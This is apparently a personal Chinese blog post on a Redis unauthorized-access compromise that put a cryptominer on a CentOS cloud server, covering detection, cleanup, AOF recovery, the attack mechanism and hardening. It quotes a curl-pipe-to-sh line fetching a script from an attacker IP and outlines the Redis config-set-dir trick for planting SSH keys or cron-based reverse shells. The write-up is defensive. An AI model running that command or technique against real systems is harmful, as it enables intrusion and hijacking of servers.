谈一个Redis漏洞——记一次服务器被挖矿经历
服务器:阿里云轻量应用服务器
系统:centos 8.2
1 事件起因
2021年11月21日中午12:37分左右,在做软工作业的我突然想直接用ARDM(一个Redis可视化工具)连连服务器上的Redis看看里面现在有啥(因为之前写码的时候忘记设置过期时间了,里面有不少没啥用的key),然后直接去服务器控制台打开6379端口(之前也这么直连过一次但没出事),因为我知道Redis没有密码,所以我一小会直接用完马上就关闭了6379端口。
13:14分,前端突然和我说后台连不上去了报Error,我试了下我也连不上去,域名访问全部失效,服务器挂了?,然后又试了下IP直接访问,可以访问,看来是转发层挂了。然后连服务器一看nginx的状态是failed,当时就在想nginx这么稳定竟然也会挂啊。然后试了下服务好了,就睡觉了,结果下午四点多突然前端又和我说服务又挂了,我直接懵了nginx今天抽风了????然后我又重启了一遍nginx。结果很快啊大概不到半个小时它又又又挂了,我开始觉得不对劲了,啥情况啊?我systemctl nginx status一看,failed,但是这次我仔细看了failed的原因,killed?kill -9?这不是意味着进程被杀了嘛,内存不够?看了下服务器内存占用,好像空间也够啊,(这时候我看到CPU占用一直50%多,还以为阿里云抽风了)。这时候我意识到服务器是不是被人攻击了?后台是不是有程序一直在kill nginx?然后我输入ps aux一看,不看不要紧,一看就看到一个
1 /bin/sh -c curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh
的进程,我在想,这IP是啥啊,看着好陌生。结果一百度,就百度到了Redis被攻击注入挖矿脚本。突然前面的一切都解释通了…服务器被人注入挖矿脚本。然后我赶紧kill -9把这个进程kill了。
然后又百度了一下,让我去看定时任务,好嘛,那我crontab -l一看,就看到一个sh /etc/newinit.sh,想想我以前肯定没弄过定时任务,果断cd到etc下删除,结果报operation not permiited。就奇了怪了我是root用户,居然还有我root删不掉的东西?百度了一下原来linux还有chattr lsattr这种给文件附加额外隐藏属性的命令,一输又报not found,需要先yum -y install e2fsprogs才能用。下了后用lsattr查看这个文件,
1
2 lsattr newinit.sh
----i-----a---- newinit.sh (可能a的位置不对,百度也百度不到,当时没截图)
果然被附加了ia的锁,用
1 chattr -ia newinit.sh
就能解开文件的锁,然后就可以用rm -rf删掉文件了。这时候其实服务器CPU已经降下来了。可以用top命令检查CPU情况,确认一下没有其他异常的进程。但是这时服务器仍然残留着脚本和后门,请看第二部分。
*ARDM (Another Redis Desktop Manager,一个很好用的免费的Redis可视化管理工具,可以在github上找到)
2 被攻击后的处理
注意!如果你的Redis访问量比较大或者aof文件重新触发的阈值比较低,在受到攻击后请立刻关闭redis,避免aof文件被重写造成数据无法恢复的后果。
先用top指令或ps aux指令或pstree查看异常进程,kill掉对应进程。注意这些指令很可能被掉包导致异常,如果指令无法执行,请先执行下面的步骤。
根据百度到的全部信息,我检查了以下内容
/etc/newinit.sh 执行挖矿任务的脚本,同时会kill掉其他进程,比如阿里云的云盾、nginx、其他挖矿进程(挖矿也内卷),并添加sshkey到服务器中。
- 可以先重启阿里云的云盾等服务,可以下载看挖矿脚本的前面几十行,一般都是先关掉防护,对应重新打开相应服务即可。
/etc/cron.d 定时任务路径,检查里面是否有异常文件,如果没设置过建议全删
- 还有cron.daily hourly…等
/etc/ 下是否有异常的脚本,或者叫zzh之类的文件,如果有删除即可,删不了先用lsattr看看有哪些隐藏属性,然后用chattr解锁,还有删不了的用chmod命令试试看。再不行可以试试chattr +ai 文件名重新加锁,然后再重新解锁,或许就能删除了。
**/root/.ssh/authorized_keys ** ssh文件,一般会被植入攻击者的公钥,记得删除。如果下面有攻击者的公钥并且服务器允许ssh,那么不用密码就可以直接进入服务器,非常危险。我在里面发现了和网络上那些被攻击的服务器一样的ssh key,果断直接删除整个authorized_keys文件
/root/.ssh/known_hosts 中是否有未知的hosts
/etc/sysconfig/iptables 可疑地址和端口
/etc/rc.local,/etc/rc.sysinit,/etc/inittab,/etc/profile 等开机启动项中,是否有异常。
systemctl list-unit-files 查看是否有异常的开机服务,如有通过chkconfig 服务名 off关闭
可以find一下所有的.sh结尾的文件 确认一下没有异常的文件。
可以ll 查看文件详细信息,通过检查文件的时间判断是不是攻击者写入的文件
备份挖矿的脚本,分析挖矿脚本内容,重开被脚本杀掉的其他服务。我通过分析脚本发现一些命令被mv到其他文件夹了,如有请恢复。
- 由于挖矿脚本中涉及到的内容非常长,此处不再列出,可以点击这里查看其它博主的详细分析,或自己下载对应脚本分析其中的内容。
重启服务器,检查服务器状态。
3 Redis的恢复
被攻击后Redis的数据会被清空,并被写入特殊的key,可以keys * 查看所有的keys,可能有backup1之类的key,全部删掉,然后kill掉redis。此时redis的rdb备份文件路径一定被篡改到了crontab或者.ssh之类的文件夹里,不过只要配置文件没被改动,重启后会直接按配置文件重新加载。你需要找到redis的aof文件,可以下下来用vscode之类的工具打开(对vim操作熟悉的也可以直接用vim操作),直接查找flushall来定位位置,然后把那一块附近的异常代码删除。
通常如下。
1 | flushall |
找到后根据aof文件的规则删除,少删了*或者$也没事,关键是把相关的flush指令和set指令干掉。干掉后,需要用
1 | ./redis-check-aof --fix appendonly.aof |
来修复aof文件,按y确认即可修复。用这个aof文件覆盖之前的aof文件即可。然后启动或重启redis,默认redis会从AOF文件中恢复数据。这样操作后你的大部分数据应该都能回来。
如果你没开AOF,那你的数据多半是寄了。RDB文件是二进制文件,如果你想通过改RDB文件来恢复,那难度有点高。
4 攻击原理分析
Redis如果没有设置密码并且bind是0.0.0.0并且protected-mode为no并且以root等较高权限运行,那么可以直接外网远程连接操作redis写入文件到任意路径。通常来说,原理是这样的
1 | 192.168.63.130:6379> config set dir /root/.ssh/ |
或者
1 | # redis-cli |
以上均来自网络。原理是redis可以动态改变配置,通过改变路径到相应的文件夹下并设置RDB文件名,然后写入key并save,这个key就被保存到相应文件里了。神奇的是刚好key的value写入RDB后不会乱码并且能正确的被centos解析出来。第一种是写入sshkey,写入成功后可以免密ssh登录目标主机。第二种是通过向系统写入root的定时脚本,通过脚本反弹shell,把shell暴露给外网(如果是ubuntu的话,第二种方式可能不太行)。只要能操作目标主机的shell那是想干啥干啥。由于redis具有root权限,所以以上操作均能正常执行。
还有一种方式就是redis的rdb文件切到crontab定时任务目录下,直接写入wget命令获取远程主机脚本并sh,等crontab下的命令被定时执行时就会触发。本人应该是被此种方式攻击。
总之,Redis攻击的原理无外乎改变rdb文件路径来往对应路径写入所需的内容。
5 预防
通过本漏洞攻击需要满足4个条件
- 1.Redis端口对外网暴露
- 2.Redis没有设置强密码(弱密码很可能被撞开)
- 3.Redis以较高的权限运行
- 4.Redis配置中 bind属性为0.0.0.0并且关闭了protected-mode
因此预防攻击,建议
给Redis设置强密码,尤其是需要外网访问的情况下。服务器不少端口每天都会被很多扫描工具轮番照顾,没有密码,哪怕只开放一小会中招的几率也非常大,不要存在侥幸心理。
如果可能,bind尽量不要设置为0.0.0.0。
没有外网使用的情况下,尽量关闭相应的防火墙端口,避免被暴力试出密码,redis本身没有对输错密码的次数做限制。
建立低权限账户,授予其读取写入执行redis文件夹权限,并关闭其登录系统的权限。这样即使redis被攻破,攻击者也只能破坏你的redis中的数据,无法对系统其它部分造成影响。
6 吐槽
阿里云轻量应用服务器的防御应该不太行,这个脚本应该暴露好久了,结果这脚本在我服务器挖了那么久(大概四个小时)居然一点警报也没有,问客服也只是让我看看crontab下有没有定时任务让我清掉,隔壁腾讯云反倒能给出警报来。可能因为这个脚本很“贴心”的给我设置了50%的CPU占用上限导致没触发阿里云的机制吧。